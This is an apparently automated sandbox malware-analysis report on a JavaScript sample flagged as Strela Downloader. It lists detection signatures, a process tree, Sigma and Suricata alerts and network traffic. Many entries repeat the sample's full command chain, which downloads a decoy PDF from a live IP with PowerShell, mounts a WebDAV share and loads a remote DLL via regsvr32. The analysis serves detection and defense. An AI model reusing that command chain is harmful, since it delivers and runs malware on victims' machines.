Edit tour

Windows Analysis Report
1434827995831320526.js

Overview

General Information

Sample name:	1434827995831320526.js
Analysis ID:	1587982
MD5:	b8894875661b63a9aae0d1fe46bc48df
SHA1:	5f329815484fc8be0b9e479e480a09bee0fdbbbe
SHA256:	68013d56e0fa5421bcd944950ee755a7488df5a6f3ef2f7aa68c706d2ddbc0fb
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7568 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1434827995831320526.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7620 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7628 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7664 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7852 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8060 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7336 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1660,i,5919774023336867443,16816310198096790642,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7868 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7900 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8124 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7568	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7620, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7664, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7620, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7664, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1434827995831320526.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1434827995831320526.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1434827995831320526.js", ProcessId: 7568, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7900, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1434827995831320526.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7568, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, ProcessId: 7620, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1434827995831320526.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7568, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, ProcessId: 7620, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1434827995831320526.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7568, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, ProcessId: 7620, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1434827995831320526.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7568, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, ProcessId: 7620, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1434827995831320526.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7568, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, ProcessId: 7620, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1434827995831320526.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1434827995831320526.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1434827995831320526.js", ProcessId: 7568, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7620, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7664, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7868, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7900, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8124, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7868, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7900, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1434827995831320526.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7568, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll, ProcessId: 7620, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:05:25.576989+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:05:23.040930+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1434827995831320526.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1434827995831320526.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:05:22 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

